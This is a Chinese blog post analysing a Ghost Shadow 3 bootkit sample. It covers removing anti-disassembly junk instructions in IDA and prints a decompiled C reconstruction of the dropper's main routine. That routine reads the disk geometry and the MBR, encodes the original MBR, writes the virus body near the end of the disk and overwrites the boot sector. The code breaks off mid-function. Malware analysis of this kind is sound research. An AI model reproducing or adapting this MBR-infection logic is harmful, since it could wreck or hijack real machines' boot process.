鬼影3样本ASM2C(mb.exe + hello_tt.sys)

本文分析了鬼影3病毒的样本,包括去除mb.exe中的花指令,重点探讨HookStartIO部分,该部分将写操作转换为读操作以防止病毒被覆盖。文章还提供了关键代码和IRP_MJ_SCSI的SCSI资料链接,帮助理解病毒行为。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

    好吧,蛋疼的考试已经结束了,暑假除了看论文之外没其他任务,这两天跟老板开完总结会议之后再看看要什么时候回家..老妈以为我暑假不回,这两天一直打电话想做说服工作-___-

    现在有点小困,不多做吐槽了.下午晚饭时间群里三哥又发福利,发了鬼影3的样本.晚上从吃完饭开始就一直再看.瞄的,HookStartIO部分真心看不懂.等再请教下人了.纯静态分析的人儿你们伤不起啊~~

    mb.exe里面加了花指令,在三哥的提示和自己研究下,总算顺利用上F5,提供一下给兄弟们参考吧(度娘关键字:鬼影3去花指令)

    在_main函数里面,有6处花指令,分别是0041164D, 00411695, 004116C6, 00411804, 0041184C, 0041187D.如图是41164D的,处理流程都一样,在那句JMP上面按U键取消IDA已经进行的分析,然后跳过一个字节,在第二个直接处按C键,这样就能够看到正常的代码,如果要用F5,需要把那个跳过的字节修改为0x90,也就是nop指令.里面花指令容易分辨,jb和jnb合起来就是jmp,跳转是跳转到41164E的地址,然后在jnb的指令后嵌入一句DB E9之类的,这些如果使用OD是可以观察出来的.在F5的时候如果遇到提示wrong basic type sizes in compiler settings则在Options->Complier里面设置sizeof(bool)为4个字节就可以了.

    

    下面是代码:

/*++
@file  Mb_exe.c
@auth   GaA.Ra
@date  2011.7.6
--*/

int __cdecl main(int argc, const char **argv, const char **envp)
{
	int result; // eax@3
	char MBREncodeByte; // al@12
	char VirusDecodeByte; // al@24
	HANDLE hFile; // [sp+Ch] [bp-250h]@30
	HANDLE hDrive; // [sp+14h] [bp-248h]@1
	unsigned int i; // [sp+18h] [bp-244h]@7
	unsigned int j; // [sp+18h] [bp-244h]@19
	unsigned int k; // [sp+18h] [bp-244h]@25
	BOOL bSuccess; // [sp+1Ch] [bp-240h]@1
	DWORD NumberOfBytesWritten; // [sp+30h] [bp-22Ch]@1
	__int64 DiskGeometry.Cylinders; // [sp+34h] [bp-228h]@1
	int DiskGeometry.MediaType; // [sp+3Ch] [bp-220h]@1
	unsigned int DiskGeometry.TracksPerCylinder; // [sp+40h] [bp-21Ch]@1
	unsigned int DiskGeometry.SectorPerTrack; // [sp+44h] [bp-218h]@1
	unsigned int DiskGeometry.BytesPerSector; // [sp+48h] [bp-214h]@1
	unsigned __int64 VirusOffsetOfBytes; // [sp+4Ch] [bp-210h]@1

	//这里可以看做Buffer[512],v20,v21等是对Buffer里面特定位置的数据进行操作
	char Buffer; // [sp+54h] [bp-208h]@1
	char v20; // [sp+55h] [bp-207h]@1
	char v21; // [sp+204h] [bp-58h]@7
	__int16 v22; // [sp+251h] [bp-Bh]@1
	char v23; // [sp+253h] [bp-9h]@1
	unsigned __int64 lDistanceToMove; // [sp+254h] [bp-8h]@1

	NumberOfBytesWritten = 0;
	VirusOffsetOfBytes = 0i64;
	// typedef struct _DISK_GEOMETRY 
	// {
	//   LARGE_INTEGER Cylinders;
	//   MEDIA_TYPE MediaType;
	//   DWORD TracksPerCylinder;
	//   DWORD SectorsPerTrack;
	//   DWORD BytesPerSector;
	// } DISK_GEOMETRY;
	// DISK_GEOMETRY DiskGeometry;
	DiskGeometry.Cylinders = 0i64;
	DiskGeometry.MediaType = 0;
	DiskGeometry.TracksPerCylinder = 0;
	DiskGeometry.SectorPerTrack = 0;
	DiskGeometry.BytesPerSector = 0;
	lDistanceToMove = 0i64;
	Buffer = 0;
	memset(&v20, 0, 0x1FCu);
	v22 = 0;
	v23 = 0;
	hDrive = CreateFileA("\\\\.\\PhysicalDrive0", 0xC0000000u, 3u, 0, 3u, 0, 0);

	// #define 
	// CTL_GET_DISK CTL_CODE( \
	//   FILE_DEVICE_DISK,    \
	//   IOCTL_DISK_GET_DRIVE_GEOMETRY, \
	//   METHOD_BUFFER, \
	//   FILE_ANY_ACCESS)
	// &DiskGeometry.Cylinders equ DISK_GEOMETRY Struct
	// DISK_GEOMETRY DiskGeometry
	// 得到一个DISK_GEOMETRY结构体,从而获取磁盘相关信息
	bSuccess = DeviceIoControl(hDrive, CTL_GET_DISK, 0, 0, &DiskGeometry, 0x18u, &NumberOfBytesWritten, 0);
	if ( hDrive != (HANDLE)-1 && bSuccess )
	{
		//病毒写入磁盘的位置,字节为单位
		VirusOffsetOfBytes = DiskGeometry.Cylinders
			* DiskGeometry.TracksPerCylinder
			* DiskGeometry.SectorPerTrack
			* DiskGeometry.BytesPerSector
			- 0x34800
			+ 0x200;
		if ( DiskGeometry.Cylinders
			* DiskGeometry.TracksPerCylinder
			* DiskGeometry.SectorPerTrack
			* DiskGeometry.BytesPerSector )
		{
			if ( ReadFile(hDrive, &Buffer, 0x200u, &NumberOfBytesWritten, 0) )
			{
				memcpy(OriginateEncodeMBR, &Buffer, sizeof(OriginateEncodeMBR));
				memcpy(PartitionTableAndOther, &v21, 0x50u);// 0x1B0 - EndOfMBR
				VirusOffsetOfSectors = VirusOffsetOfBytes / 0x200;

				//复制原始MBR并进行简单的加密(循环左移3位)
				for ( i = 0x2600u; i < 0x2800; ++i )
				{
					if ( VirusContent[i] )                // VirusContent[0x2600] equ OriginateEncodeMBR
					{
						MBREncodeByte = __ROL__(VirusContent[i], 0x73u);// __asm rol; rol Byte, 3(0x73%8)
						VirusContent[i] = MBREncodeByte;
					}
				}
				lDistanceToMove = VirusOffsetOfBytes;
				if ( SetFilePointer(hDrive, VirusOffsetOfBytes, (PLONG)&lDistanceToMove + 1, 0) != -1 )// SetFilePointer to VirusOffsetOfBytes
				{
					// Copy VirusContent[0x200 - 0x2800] to disk
					// OriginateMBR(Encode) is at the last 0x200 bytes
					if ( WriteFile(hDrive, &VirusContent+0x200, 0x2600u, &NumberOfBytesWritten, 0) )
					{
						lDistanceToMove = 0i64;
						if ( SetFilePointer(hDrive, 0, (PLONG)&lDistanceToMove + 1, 0) != -1 )
						{
							if ( WriteFile(hDrive, VirusContent, 0x200u, &NumberOfBytesWritten, 0) )// VirusContent[0x0 - 0x200] equ VirusMBR
							{
								lDistanceToMove = VirusOffsetOfBytes + 0x2600;
								// SetFilePointer to VirusOffsetOfByte + 0x2600
								//
评论 8
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值